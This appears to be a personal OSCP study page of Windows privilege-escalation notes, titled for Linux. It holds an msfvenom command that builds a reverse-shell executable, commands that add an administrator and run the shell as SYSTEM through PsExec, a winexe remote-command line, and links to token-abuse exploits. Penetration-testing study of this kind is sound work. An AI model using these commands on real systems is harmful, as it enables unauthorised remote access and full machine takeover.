Privilege Escalation on Linux

Share on:

OSCP Notes

  1. msfvenom to spawn rev shell on windows - #msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your host> LPORT=<your port> -f exe -o revshell.exe

  2. Adding user to Admin group - net localgroup administrators <username> /add

  3. PsExec tool - to escalate from admin user to full SYSTEM privs - (https://docs.microsoft.com/en-us/sysinternals/downloads/psexec) .\PsExec64.exe -accepteula -i -s C:\PrivEsc\revshell.exe

  4. winexe command to run commands remotely

    winexe -U 'admin%<password>' //<ip address> cmd.exe

  5. Hot/Rogue/Juicy/Rotten Potato attacks:

  6. Print spoofer exploit GitHub: https://github.com/itm4n/PrintSpoofer Blog: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

  7. Understanding windows privileges (whoami \priv) Reference: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672 https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt

    • SeTcbPrivilege - Act as part of the operating system
    • SeBackupPrivilege - Back up files and directories
    • SeCreateTokenPrivilege - Create a token object
    • SeDebugPrivilege - Debug programs
    • SeEnableDelegationPrivilege - Enable computer and user accounts to be trusted for delegation
    • SeAuditPrivilege - Generate security audits
    • SeImpersonatePrivilege - Impersonate a client after authentication
    • SeLoadDriverPrivilege - Load and unload device drivers
    • SeSecurityPrivilege - Manage auditing and security log
    • SeSystemEnvironmentPrivilege - Modify firmware environment values
    • SeAssignPrimaryTokenPrivilege - Replace a process-level token
    • SeRestorePrivilege - Restore files and directories,
    • SeTakeOwnershipPrivilege - Take ownership of files or other objects

Credits: ippsec, tib3rius,

Labs Linux/Windows PrivEsc workshop - https://github.com/sagishahar/lpeworkshop